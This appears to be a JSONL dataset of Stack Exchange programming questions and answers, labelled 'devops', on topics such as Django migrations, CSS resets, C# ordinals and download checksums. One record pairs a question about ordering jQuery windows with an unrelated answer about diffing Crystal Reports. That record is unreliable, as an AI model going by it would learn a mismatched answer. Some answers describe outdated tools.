{"id": "hf_79df9fec544c", "question": "<p>I just wonder what options there are to properly measure/profile/optimize ASP.net 2.0 Web Parts, especially the ones for Sharepoint 2007?</p>\n\n<p>As Web Parts are a layer on another layer of technology, getting resource usage, open handles and stuff only for the web part seems to be a bit difficult.</p>\n\n<p>Does anyone know some good tools or practices for profiling and optimizing web parts?</p>\n", "question_body": "", "answer": "I have found seperating out all the business logic in to a seperate DLL that is easily unit testable has been the easiest method for me.  But to be honest there is really no good way that I have found, besides what I have just mentioned.  The same has been true for me with Facebook applications recently.  I think this is common for any application that runs inside of another platform.  Especially when performance and testing where never a goal when the platform developers started to build the system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.196795"}
{"id": "hf_1c9d14fbdaf3", "question": "<p>I've been trying to understand how Ruby blocks work, and to do that I've been trying to implement them in C.</p>\n\n<p>One easy way to implement closures is to pass a <code>void*</code> to the enclosing stack to the closure/function but Ruby blocks also seem to handle returns and break statements from the scope that uses the block.</p>\n\n<pre><code>loop do\n  break i if (i &gt;= 4000)\n  i *= 2\nend\n</code></pre>\n\n<p>I think one of the closures proposals for Java works like this also.</p>\n\n<p>So, how would you implement Ruby-blocks/Java-closures in C?</p>\n", "question_body": "", "answer": "The concept of closures requires the concept of contexts. C's context is based on the stack and the registers of the CPU, so to create a block/closure, you need to be able to manipulate the stack pointer in a correct (and reentrant) way, and store/restore registers as needed.\nThe way this is done by interpreters or virtual machines is to have a\n```\ncontext\n```\nstructure or something similar, and not use the stack and registers directly. This structure keeps track of a stack and optionally some registers, if you're designing a register based VM. At least, that's the simplest way to do it (though slightly less performant than actually mapping things correctly).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.243925"}
{"id": "hf_264efd913d2c", "question": "<p>If you have two versions of the same report (.rpt) and you want to establish what the exact differences are, what is the best way to go about this? I've seen some commercial tools to do this, but I'm not too interested in forking out cash for something that should be relatively straight forward. Can I hook into the Crystal API and simply list all of the properties of every field or something? Please someone tell me that there's an Open Source project somewhere that does this... @:-)</p>\n\n<p>@Kogus, wouldn't diffing the outputs as text hide any formatting differences?</p>\n\n<p>@ladoucep, I don't seem to be able to export the report <em>without</em> data.</p>\n", "question_body": "", "answer": "One helpful technique is to output both versions of the report to plain text, then diff those outputs.\nYou could write something using the crystal report component to describe every property of the report, like you described.  Then  you could output\nthat\nto text, and diff\nthose\n.  I'm not aware of any open source tool that does it for you, but it would not be terribly hard to write it.\n@question in the post:\nDiffing the outputs would only show formatting changes if the\nrelative\npositions had changed.  For example, if i had this:\nbefore:\nFirst name, last name, addresss\nafter:\nLast Name, First Name, Address\nThen that would show up as a difference.\nBut if I had just bumped the address column over a few pixels, or changed it from plain text to bold, then you are right, that would not show up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.353035"}
{"id": "hf_94de9728a8f8", "question": "<p>What is the best way to manage a list of windows (keeping them in order) to be able to promote the next window to the top-level when the current top-level window is closed.<br>\nThis is for a web application, so we're using jQuery Javascript.</p>\n\n<p>We'd talked through a few simplistic solutions, such as using an array and just treating [0] index as the top-most window.</p>\n\n<p>I'm wondering if there's any potentially more efficient or useful alternative to what we had brainstormed.</p>\n", "question_body": "", "answer": "One helpful technique is to output both versions of the report to plain text, then diff those outputs.\nYou could write something using the crystal report component to describe every property of the report, like you described.  Then  you could output\nthat\nto text, and diff\nthose\n.  I'm not aware of any open source tool that does it for you, but it would not be terribly hard to write it.\n@question in the post:\nDiffing the outputs would only show formatting changes if the\nrelative\npositions had changed.  For example, if i had this:\nbefore:\nFirst name, last name, addresss\nafter:\nLast Name, First Name, Address\nThen that would show up as a difference.\nBut if I had just bumped the address column over a few pixels, or changed it from plain text to bold, then you are right, that would not show up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.377118"}
{"id": "hf_8b97ea9703b3", "question": "<p>I'm currently looking at the Python framework Django for future db-based web apps as well as for a port of some apps currently written in PHP. One of the nastier issues during my last years was keeping track of database schema changes and deploying these changes to productive systems. I haven't dared asking for being able to undo them too, but of course for testing and debugging that would be a great feature. From other questions here (such as <a href=\"https://stackoverflow.com/questions/1607/mechanisms-for-tracking-db-schema-changes\">this one</a> or <a href=\"https://stackoverflow.com/questions/173/how-do-i-version-my-ms-sql-database-in-svn\">this one</a>), I can see that I'm not alone and that this is not a trivial problem. Also, I found many inspirations in the answers there.</p>\n\n<p>Now, as Django seems to be very powerful, does it have any tools to help with the above? Maybe it's even in their docs and I missed it?</p>\n", "question_body": "", "answer": "Last time I checked (version 0.97), syncdb will be able to add tables to sync your DB schema with your models.py file, but it cannot:\nRename or add a column on a populated DB. You need to do that by hand.\nRefactorize your model (like split a table into two) and repopulate your DB accordingly.\nIt might be possible though to write a Django script to make the migration by playing with the two different\nmanagers\n, but that might take ages if your DB is large.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.440930"}
{"id": "hf_ba62de4788e5", "question": "<p>Thinking about getting into .net technology project management</p>\n\n<p>I've had plenty of experience with PHP projects: I'm aware of most of the existing frameworks and libraries, and I've written specs and case studies based on this knowledge.</p>\n\n<p>What should I know about .net?\nWhich top resources would you recommend me to know so I can rapidly learn and later stay up to date on the technology?</p>\n\n<p><strong>Edit (8.24.08):</strong> The answers I got so far essentially discuss being a good PM. Thanks, but this is not what I meant. Any .net essentials would be appreciated.</p>\n", "question_body": "", "answer": "Start with the basics before you get to the higher level stuff like web services (though that is important too). The most important things you need to learn, as a project manager, are the things you're going to be questioning your underlings about later. For example, my PM (also a PHP guy) has absolutely no knowledge of garbage collection and its implications, which makes it incredibly difficult for me to explain to him why our .NET Windows service appears to be taking 80MB of RAM.\nRemember, you are not the one who needs to know everything. You should be issuing overarching directives, and let the people with the expertise sort out the details. That said, study up on the technicals a bit so that they can communicate effectively with you.\nEdit (8/24/08):You should know something about the underlying technicals; not necessarily all .NET stuff either (garbage collection, .config files, pipes and services if you're running services adjacent to your project's main focus, stuff like that). Higher-reaching concepts would probably include WPF (maybe Silverlight as well), LINQ (or your ORM of choice), as well as the Vista bridge and related bridging code if your project includes desktop apps at all. Those three things seem to be the focus for this round of .NET. Something else that's very important to have at least a passing knowledge of is the ways that .NET code can/must interoperate with native code: P/Invoke, Runtime Callable Wrapping and COM Callable Wrapping. There are still a lot of native things that don't have a .NET equivalent.\nAs for resources, I'd highly recommend MSDN Magazine. They tend to preview upcoming technologies and tools well before average developers will ever see them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.478067"}
{"id": "hf_02eca7e028c1", "question": "<p>What languages and tools do you consider a youngster starting out in programming should use in the modern era?</p>\n\n<p>Lots of us started with proprietary Basics and they didn't do all of us long term harm :) but given the experiences you have had since then and your knowledge of the domain now are there better options?</p>\n\n<p>There are related queries to this one such as \"<a href=\"https://stackoverflow.com/questions/3088/best-ways-to-teach-a-beginner-to-program\">Best ways to teach a beginner to program?</a>\" and \"<a href=\"https://stackoverflow.com/questions/3553/one-piece-of-advice\">One piece of advice</a>\" about starting adults programming both of which I submitted answers to but children might require a different tool.</p>\n\n<p>Disclosure:  it's bloody hard choosing a 'correct' answer to a question like this so who ever has the best score in a few days will get the 'best answer' mark from me based on the communities choice.</p>\n", "question_body": "", "answer": "I recently saw a presentation about\nGreenFoot\n(a java based learning environment for children). It looked awesome. If I would have kids, I would give it a try\nLink to the presentation\nIt is a very playful environment, where you could start with very basic methods. The kids learn thinking in an object oriented way (you cannot instantiate an animal, but you can instantiate a cat). And the better they get, the more of Java you can uncover for/with them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.528452"}
{"id": "hf_c953886418da", "question": "<p>I've recently taken up learning some C# and wrote a Yahtzee clone.  My next step (now that the game logic is in place and functioning correctly) is to integrate some method of keeping stats across all the games played.</p>\n\n<p>My question is this, how should I go about storing this information?  My first thought would be to use a database and I have a feeling that's the answer I'll get... if that's the case, can you point me to a good resource for creating and accessing a database from a C# application?</p>\n\n<hr>\n\n<p>Storing in an XML file actually makes more sense to me, but I thought if I suggested that I'd get torn apart ;).  I'm used to building web applications and for those, text files are generally frowned upon.</p>\n\n<p>So, going with an XML file, what classes should I be looking at that would allow for easy manipulation?</p>\n", "question_body": "", "answer": "A database may be overkill - have you thought about just storing the scores in a file?\nIf you decide to go with a database, you might consider\nSQLite\n, which you can distribute just like a file. There's an open source .NET provider -\nSystem.Data.SQLite\n- that includes everything you need to get started.\nAccessing and reading from a database in .NET is quite easy - take a look at\nthis question\nfor sample code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.559399"}
{"id": "hf_c97a0e754025", "question": "<p>What's the <strong>easiest</strong>, <strong>tersest</strong>, and most <strong>flexible</strong> method or library for parsing Python command line arguments?</p>\n", "question_body": "", "answer": "Use\n```\noptparse\n```\nwhich comes with the standard library. For example:\n```\n```\n#!/usr/bin/env python\nimport optparse\n\ndef main():\n  p = optparse.OptionParser()\n  p.add_option('--person', '-p', default=\"world\")\n  options, arguments = p.parse_args()\n  print 'Hello %s' % options.person\n\nif __name__ == '__main__':\n  main()\n```\n```\nSource:\nUsing Python to create UNIX command line tools\nHowever as of Python 2.7 optparse is deprecated, see:\nWhy use argparse rather than optparse?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.584939"}
{"id": "hf_acb3bb6b77f5", "question": "<p>This line in YUI's <a href=\"http://developer.yahoo.com/yui/reset/\" rel=\"nofollow noreferrer\">Reset CSS</a> is causing trouble for me:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>address,caption,cite,code,dfn,em,strong,th,var {\n    font-style: normal;\n    font-weight: normal;\n}\n</code></pre>\n\n<p>It makes my <code>em</code> not italic and my <code>strong</code> not bold. Which is okay. I know how to override that in my own stylesheet.</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>strong, b \n{\n  font-weight: bold;\n}\n\nem, i \n{\n  font-style: italic;\n}\n</code></pre>\n\n<p>The problem comes in when I have text that's both <code>em</code> and <code>strong</code>. </p>\n\n<pre><code>&lt;strong&gt;This is bold, &lt;em&gt;and this is italic, but not bold&lt;/em&gt;&lt;/strong&gt;\n</code></pre>\n\n<p>My rule for <code>strong</code> makes it bold, but YUI's rule for <code>em</code> makes it normal again. How do I fix that? </p>\n", "question_body": "", "answer": "If your strong declaration comes after YUI's yours should override it. You can force it like this:\n```\n```\nstrong, b, strong *, b * { font-weight: bold; }\nem, i, em *, i * { font-style: italic; }\n```\n```\nIf you still support IE7 you'll need to add\n```\n!important\n```\n.\n```\n```\nstrong, b, strong *, b * { font-weight: bold !important; }\nem, i, em *, i * { font-style: italic !important; }\n```\n```\nThis works - see for yourself:\n```\n```\n/*YUI styles*/\naddress,caption,cite,code,dfn,em,strong,th,var {\n  font-style: normal;\n  font-weight: normal;\n}\n/*End YUI styles =*/\n\nstrong, b, strong *, b * {\n  font-weight: bold;\n}\n\nem, i, em *, i * {\n  font-style: italic;\n}\n```\n```\n```\n```\n<strong>Bold</strong> - <em>Italic</em> - <strong>Bold and <em>Italic</em></strong>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.646923"}
{"id": "hf_89c7fc060cbb", "question": "<p>I'm working on a projects which involves a lot of database writes, I'd say (<em>70% inserts and 30% reads</em>).  This ratio would also include updates which I consider to be one read and one write.  The reads can be dirty (e.g. I don't need 100% accurate information at the time of read).<br>\nThe task in question will be doing over 1 million database transactions an hour.  </p>\n\n<p>I've read a bunch of stuff on the web about the differences between MyISAM and InnoDB, and MyISAM seems like the obvious choice to me for the particular database/tables that I'll be using for this task.  From what I seem to be reading, InnoDB is good if transactions are needed since row level locking is supported.</p>\n\n<p>Does anybody have any experience with this type of load (or higher)?  Is MyISAM the way to go?</p>\n", "question_body": "", "answer": "I'm not a database expert, and I do not speak from experience. However:\nMyISAM tables use table-level locking\n. Based on your traffic estimates, you have close to 200 writes per second. With MyISAM,\nonly one of these could be in progress at any time\n. You have to make sure that your hardware can keep up with these transaction to avoid being overrun, i.e., a single query can take no more than 5ms.\nThat suggests to me you would need a storage engine which supports row-level locking, i.e., InnoDB.\nOn the other hand, it should be fairly trivial to write a few simple scripts to simulate the load with each storage engine, then compare the results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.697872"}
{"id": "hf_fde2153a6d83", "question": "<p>Is there an easy way in C# to create <a href=\"http://en.wikipedia.org/wiki/Ordinal_numbers_%28linguistics%29\" rel=\"noreferrer\">Ordinals</a> for a number? For example:</p>\n\n<ul>\n<li>1 returns 1st</li>\n<li>2 returns 2nd</li>\n<li>3 returns 3rd</li>\n<li>...etc</li>\n</ul>\n\n<p>Can this be done through <code>String.Format()</code> or are there any functions available to do this?</p>\n", "question_body": "", "answer": "You'll have to roll your own. From the top of my head:\n```\n```\npublic static string Ordinal(this int number)\n{\n  var work = number.ToString();\n  if ((number % 100) == 11 || (number % 100) == 12 || (number % 100) == 13)\n    return work + \"th\";\n  switch (number % 10)\n  {\n    case 1: work += \"st\"; break;\n    case 2: work += \"nd\"; break;\n    case 3: work += \"rd\"; break;\n    default: work += \"th\"; break;\n  }\n  return work;\n}\n```\n```\nYou can then do\n```\n```\nConsole.WriteLine(432.Ordinal());\n```\n```\nEdited for 11/12/13 exceptions. I DID say from the top of my head  :-)\nEdited for 1011 -- others have fixed this already, just want to make sure others don't grab this incorrect version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.723563"}
{"id": "hf_4eead61c4651", "question": "<p>Anyone have any good urls for templates or diagram examples in Visio 2007 to be used in software architecture?</p>\n", "question_body": "", "answer": "There should be templates already included in Visio 2007 for software architecture but you might want to check out\nVisio 2007 templates\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.797783"}
{"id": "hf_c212ea550b58", "question": "<p>I'm packaging up a .NET 2.0 based web app for deployment through a Windows Installer based package.  Our app uses Report Viewer 2008 and I'm including the Microsoft Report Viewer Redistributable 2008 installer.  When I check the <a href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=cc96c246-61e5-4d9e-bb5f-416d75a1b9ef&amp;DisplayLang=en\" rel=\"nofollow noreferrer\" title=\"Microsoft Report Viewer Redistributable 2008 Download\">download page for Report Viewer 2008</a>, it lists .NET 3.5 as a requirement.  </p>\n\n<p>Is having .Net 3.5 installed really needed Report Viewer 2008?  We targeted .Net 2.0 for our app, there isn't anything in our code that would use the 3.0 or 3.5 Frameworks.</p>\n\n<p>We are in the middle of testing and everything seems to be working with out 3.5, but I don't want to miss an edge condition and cause an error for a customer because he was missing a prerequisite run time package.</p>\n", "question_body": "", "answer": "Keep in mind that MSFT might be requiring the 3.5 Framework so they can write against it in future updates/releases, which might place your app in an unsupported (by MSFT) state.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.821572"}
{"id": "hf_1d29bc366c46", "question": "<p>I'm trying to develop specialized audio player for windows mobile devices (Professional ones). And I've ran into the problem an once.</p>\n\n<p>There no compressed audio APIs on WM or I was unable to found house in documentation. Yes there are WM6 Sound API but it cannot even pause playback or seek to specified position. There are allways Windows Media Player on WM device but I've not found it APIs documentation.</p>\n\n<p>So the question is:<br>\nIs there simple way to play, pause, forward, rewind, getting playback position and getting audio file length on <em>compressed</em> audio of several popular formats? Any library? platform APIs? Anything? </p>\n", "question_body": "", "answer": "This might be of no help at all, but the (very good) podcast player\nBeyondPod\nhas a built in player, based on Windows Media Player, and it's open source - so you could have a look at what API they are using.\nObviously if they've written their own custom player, you wont be able to just copy it if you're writing a commercial app. But you could use it for API documentation if they're just calling through to some Media Player API.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.858140"}
{"id": "hf_09a1567e9db2", "question": "<p>I have a large text template which needs tokenized sections replaced by other text. The tokens look something like this: ##USERNAME##.  My first instinct is just to use String.Replace(), but is there a better, more efficient way or is Replace() already optimized for this?</p>\n", "question_body": "", "answer": "System.Text.RegularExpressions.Regex.Replace()\nis what you seek - IF your tokens are odd enough that you need a regex to find them.\nSome kind soul did some performance testing\n, and between Regex.Replace(), String.Replace(), and StringBuilder.Replace(), String.Replace() actually came out on top.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.933140"}
{"id": "hf_4502134a9573", "question": "<p>I have something like this:</p>\n\n<pre>\nbarProgress.BeginAnimation(RangeBase.ValueProperty, new DoubleAnimation(\n    barProgress.Value, dNextProgressValue,\n    new Duration(TimeSpan.FromSeconds(dDuration)));\n</pre>\n\n<p>Now, how would you stop that animation (the <code>DoubleAnimation</code>)? The reason I want to do this, is because I would like to start new animations (this seems to work, but it's hard to tell) and eventually stop the last animation...</p>\n", "question_body": "", "answer": "To stop it, call\n```\nBeginAnimation\n```\nagain with the second argument set to\n```\nnull\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:53.982427"}
{"id": "hf_c58ad224009f", "question": "<p>I've found out how to convert errors into exceptions, and I display them nicely if they aren't caught, but I don't know how to log them in a useful way. Simply writing them to a file won't be useful, will it? And would you risk accessing a database, when you don't know what caused the exception yet?</p>\n", "question_body": "", "answer": "You could use\nset_error_handler\nto set a custom exception to log your errors. I'd personally consider storing them in the database as the default Exception handler's backtrace can provide information on what caused it - this of course won't be possible if the database handler triggered the exception however.\nYou could also use\nerror_log\nto log your errors. It has a choice of message destinations including:\nQuoted from\nerror_log\nPHP's system logger, using the Operating System's system logging mechanism or a file, depending on what the error_log  configuration directive is set to. This is the default option.\nSent by email to the address in the destination  parameter. This is the only message type where the fourth parameter, extra_headers is used.\nAppended to the file destination . A newline is not automatically added to the end of the message  string.\nEdit: Does markdown have a noparse tag for underscores?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.036146"}
{"id": "hf_52fa1b826f63", "question": "<p>What are attributes in .NET, what are they good for, and how do I create my own attributes?</p>\n", "question_body": "", "answer": "An attribute is a class that contains some bit of functionality that you can apply to objects in your code. To create one, create a class that inherits from System.Attribute.\nAs for what they're good for... there are almost limitless uses for them.\nhttp://www.codeproject.com/KB/cs/dotnetattributes.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.087032"}
{"id": "hf_5021ec5a8018", "question": "<p>I'm a complete Xcode/Objective-C/Cocoa newbie but I'm learning fast and really starting to enjoy getting to grips with a new language, platform and paradigm.</p>\n\n<p>One thing is though, having been using Visual Studio with R# for so long I've kind of been spoiled with the coding tools such as refactorings and completion etc and as far as I can tell Xcode has some fairly limited built in support for this stuff.</p>\n\n<p>On that note, does anyone know if any add-ins or whatever are available for the Xcode environment which add coding helpers such as automatically generating implementation skeletons from a class interface definition etc? </p>\n\n<p>I suspect there aren't but I suppose it can't help to ask.</p>\n", "question_body": "", "answer": "Xcode has refactoring for C and Objective-C built in.  Just select what you'd like to refactor, choose \"Refactor...\" from either the menu bar or the contextual menu, and you'll get a window including the available refactorings and a preview area.\nXcode doesn't currently have a public plug-in API; if there are specific types of plug-ins you'd like Apple to enable, file enhancement requests in the\nBug Reporter\n.  That way Apple can count and track such requests.\nHowever, there are third-party tools like\nAccessorizer\nand\n```\nmogenerator\n```\n(the latest release is\n```\nmogenerator 1.10\n```\n) that you can use to make various development tasks faster.  Accessorizer helps you create accessor methods for your classes, while\n```\nmogenerator\n```\ndoes more advanced code generation for Core Data managed object classes that are modeled using Xcode's modeling tools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.188354"}
{"id": "hf_24967d4c88ff", "question": "<p>I'd like to take some RTF input and clean it to remove all RTF formatting except \\ul \\b \\i to paste it into Word with minor format information.</p>\n\n<p>The command used to paste into Word will be something like:\noWord.ActiveDocument.ActiveWindow.Selection.PasteAndFormat(0) (with some RTF text already in the Clipboard)</p>\n\n<pre><code>{\\rtf1\\ansi\\deff0{\\fonttbl{\\f0\\fnil\\fcharset0 Courier New;}}\n{\\colortbl ;\\red255\\green255\\blue140;}\n\\viewkind4\\uc1\\pard\\highlight1\\lang3084\\f0\\fs18 The company is a global leader in responsible tourism and was \\ul the first major hotel chain in North America\\ulnone  to embrace environmental stewardship within its daily operations\\highlight0\\par\n</code></pre>\n\n<p>Do you have any idea on how I can clean up the RTF safely with some regular expressions or something? I am using VB.NET to do the processing but any .NET language sample will do.</p>\n", "question_body": "", "answer": "You can strip out the tags with regular expressions.  Just make sure that your expressions will not filter tags that were actually text.  If the text had \"\\b\" in the body of text, it would appear as \\b in the RTF stream.   In other words, you would match on \"\\b\" but not \"\\b\".\nYou could probably take a short cut and filter out the header RTF tags.  Look for the first occurrence of \"\\viewkind4\" in the input.  Then read ahead to the first space character.  You would remove all of the characters from the start of the text up to and including that space character.  That would strip out the RTF header information (fonts, colors, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.226583"}
{"id": "hf_80d30feaf88e", "question": "<p>Are there any automatic methods for trimming a path string in .NET?</p>\n\n<p>For example:</p>\n\n<pre><code>C:\\Documents and Settings\\nick\\My Documents\\Tests\\demo data\\demo data.emx\n</code></pre>\n\n<p>becomes</p>\n\n<pre><code>C:\\Documents...\\demo data.emx\n</code></pre>\n\n<p>It would be particularly cool if this were built into the Label class, and I seem to recall it is--can't find it though!</p>\n", "question_body": "", "answer": "What you are thinking on the label is that it will put ... if it is longer than the width (not set to auto size), but that would be\n```\n```\nc:\\Documents and Settings\\nick\\My Doc...\n```\n```\nIf there is support, it would probably be on the Path class in System.IO", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.276326"}
{"id": "hf_92601606b83f", "question": "<p>I have been using Eclipse as an IDE for a short amount of time (about 3 months of full use) and almost every day I learn about some shortcut or feature that I had absolutely no idea about.  For instance, just today I learned that <kbd>Ctrl</kbd>+<kbd>3</kbd> was the shortcut for a Quick Access window.</p>\n\n<p>I was wondering what your most useful/favorite Eclipse features are.  With the IDE being so big, it would be helpful to learn about the more commonly used parts of the program.</p>\n", "question_body": "", "answer": "Ctrl\n-\nAlt\n(\nup\n/\ndown\n)  Copy selected line(s) above or below current line.\nAlt\n(\nup\n/\ndown\n)  Move current (or multiple selected) lines up or down\nCtrl\n-\nShift\n-\nR\nBring up the resource window, start typing to find class/resource\nCtrl\n-\nO\nBring up all methods and fields for the current class. Hitting it again will bring up all methods and fields for current class and super classes.\nCtrl\n-\n/\nor\nCtrl\n-\nAlt\n-\nC\nComment single or multiple lines with //\nCtrl\n-\nShift\n-\n/\nComment selected lines with /* */\nCtrl\n-\n.\nTake you to the next error or warning line", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.337167"}
{"id": "hf_ede46976558a", "question": "<p>I'm trying to bind a list of custom objects to a WPF Image like this:</p>\n\n<pre><code>&lt;Image&gt;\n    &lt;Image.Source&gt;\n        &lt;BitmapImage UriSource=\"{Binding Path=ImagePath}\" /&gt;\n    &lt;/Image.Source&gt;\n&lt;/Image&gt;\n</code></pre>\n\n<p>But it doesn't work. This is the error I'm getting:</p>\n\n<p><em>\"Property 'UriSource' or property 'StreamSource' must be set.\"</em></p>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "You need to have an implementation of\nIValueConverter\ninterface that converts the uri into an image.  Your Convert implementation of IValueConverter will look something like this:\n```\n```\nBitmapImage image = new BitmapImage();\nimage.BeginInit();\nimage.UriSource = new Uri(value as string);\nimage.EndInit();\n\nreturn image;\n```\n```\nThen you will need to use the converter in your binding:\n```\n```\n<Image>\n    <Image.Source>\n        <BitmapImage UriSource=\"{Binding Path=ImagePath, Converter=...}\" />\n    </Image.Source>\n</Image>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.386114"}
{"id": "hf_f43fa8a7490e", "question": "<p>I'm interested in doing comparisons between the date string and the MySQL timestamp. However, I'm not seeing an easy conversion. Am I overlooking something obvious?</p>\n", "question_body": "", "answer": "Converting from timestamp to format:\n```\n```\ndate('Y-m-d', $timestamp);\n```\n```\nConverting from formatted to timestamp:\n```\n```\nmktime(0, 0, 0, $month, $day, $year, $is_dst);\n```\n```\nSee\ndate\nand\nmktime\nfor further documentation.\nWhen it comes to storing it's up to you whether to use the MySQL DATE format for stroing as a formatted date; as an integer for storing as a UNIX timestamp; or you can use MySQL's TIMESTAMP format which converts a numeric timestamp into a readable format.\nCheck the MySQL Doc\nfor TIMESTAMP info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:54.434607"}
{"id": "hf_f7926c46f333", "question": "<p>I've seen this all over the place: </p>\n\n<blockquote>\n  <p>Download here!  SHA1 =\n  8e1ed2ce9e7e473d38a9dc7824a384a9ac34d7d0</p>\n</blockquote>\n\n<p>What does it mean? How does a hash come into play as far as downloads and... What use can I make of it? Is this a legacy item where you used to have to verify some checksum after you downloaded the whole file?</p>\n", "question_body": "", "answer": "It's a security measure.  It allows you to verify that the file you just downloaded is the one that the author posted to the site.  Note that using hashes from the same website you're getting the files from is not especially secure.  Often a good place to get them from is a mailing list announcement where a PGP-signed email contains the link to the file and the hash.\nSince this answer has been ranked so highly compared to the others for some reason, I'm editing it to add the other major reason mentioned first by the other authors below, which is to verify the integrity of the file after transferring it over the network.\nSo:\nSecurity - verify that the file that you downloaded was the one the author originally published\nIntegrity - verify that the file wasn't damaged during transmission over 